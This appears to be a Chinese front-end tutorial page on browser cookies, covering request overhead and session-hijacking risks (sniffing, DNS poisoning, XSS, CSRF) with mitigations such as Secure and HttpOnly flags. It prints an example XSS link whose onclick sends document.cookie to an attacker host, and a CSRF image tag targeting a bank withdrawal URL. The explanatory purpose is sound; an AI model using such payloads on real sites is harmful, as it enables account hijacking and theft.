浏览器里的cookie是什么 浏览器cookie是什么意思( 三 )


Cookie 是紧跟域名的 。同一个域名下的所有请求 , 都会携带 Cookie 。大家试想 , 如果我们此刻仅仅是请求一张图片或者一个 CSS 文件 , 我们也要携带一个 Cookie 跑来跑去(关键是 Cookie 里存储的信息并不需要) , 这是一件多么劳民伤财的事情 。Cookie 虽然小 , 请求却可以有很多 , 随着请求的叠加 , 这样的不必要的 Cookie 带来的开销将是无法想象的 。
3、安全性问题
多数网站使用cookie作为用户会话的唯一标识 , 因为其他的方法具有限制和漏洞 。如果一个网站使用cookies作为会话标识符 , 攻击者可以通过窃取一套用户的cookies来冒充用户的请求 。从服务器的角度 , 它是没法分辨用户和攻击者的 , 因为用户和攻击者拥有相同的身份验证 。下面介绍几种cookie盗用和会话劫持的例子:
网络窃听
网络上的流量可以被网络上任何计算机拦截 , 特别是未加密的开放式WIFI 。这种流量包含在普通的未加密的HTTP清求上发送Cookie 。在未加密的情况下 , 攻击者可以读取网络上的其他用户的信息 , 包含HTTP Cookie的全部内容 , 以便进行中间的攻击 。比如:拦截cookie来冒充用户身份执行恶意任务(银行转账等) 。
解决办法:服务器可以设置secure属性的cookie , 这样就只能通过https的方式来发送cookies了 。
DNS缓存中毒
如果攻击者可以使DNS缓存中毒 , 那么攻击者就可以访问用户的Cookie了 , 例如:攻击者使用DNS中毒来创建一个虚拟的NDS服务h123456.www.demo.com指向攻击者服务器的ip地址 。然后攻击者可以从服务器 h123456.www.demo.com/img_01.png 发布图片 。用户访问这个图片 , 由于 www.demo.com和h123456.www.demo.com是同一个子域 , 所以浏览器会把用户的与www.demo.com相关的cookie都会发送到h123456.www.demo.com这个服务器上 , 这样攻击者就会拿到用户的cookie搞事情 。
一般情况下是不会发生这种情况 , 通常是网络供应商错误 。
跨站点脚本XSS
使用跨站点脚本技术可以窃取cookie 。当网站允许使用javascript操作cookie的时候 , 就会发生攻击者发布恶意代码攻击用户的会话 , 同时可以拿到用户的cookie信息 。例子:
a href="https://www.yebaike.net/info/#" onclick=window.location=http://abc.com?cookie=${docuemnt.cookie}领取红包
当用户点击这个链接的时候 , 浏览器就会执行onclick里面的代码 , 结果这个网站用户的cookie信息就会被发送到abc.com攻击者的服务器 。攻击者同样可以拿cookie搞事情 。
解决办法:可以通过cookie的HttpOnly属性 , 设置了HttpOnly属性 , javascript代码将不能操作cookie 。
跨站请求伪造CSRF
例如 , SanShao可能正在浏览其他用户XiaoMing发布消息的聊天论坛 。假设XiaoMing制作了一个引用ShanShao银行网站的HTML图像元素 , 例如 , 
img src = "http://www.bank.com/withdraw?user=SanShaoamount=999999for=XiaoMing"
如果SanShao的银行将其认证信息保存在cookie中 , 并且cookie尚未过期 , (当然是没有其他验证身份的东西) , 那么SanShao的浏览器尝试加载该图片将使用他的cookie提交提款表单 , 从而在未经SanShao批准的情况下授权交易 。
解决办法:增加其他信息的校验(手机验证码 , 或者其他盾牌) 。
希望本文能帮助到您!点赞+转发 , 让更多的人也能看到这篇内容(收藏不点赞 , 都是耍流氓-_-)
关注 {我} , 享受文章首发体验!
每周重点攻克一个前端技术难点 。更多精彩前端内容私信 我 回复“教程”!
原文链接:https://github.com/huzhao0316/articals/wiki/%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%E6%B5%8F%E8%A7%88%E5%99%A8Cookie
细说浏览器中的cookie3首先我们来看一下浏览器中的cookie是如何工作的 。
每当浏览器向服务器发起http请求的时候 , 都会检查本地是否有相应的cookie , 如果有则添加到请求头中一起发送到服务器端 。由此可以看出cookie适合存储那些每次都要发给服务端的内容 , 比如身份信息等 。
下面来看一下cookie的构成 。
cookie有多个属性 , 每个属性都是用键值对表示的 , 键值对之间由一个分号和一个空格隔开 。例如:document.cookie="nickname=会编程的猿; expires=11 Nov 2018 11:11:11 GMT;" 。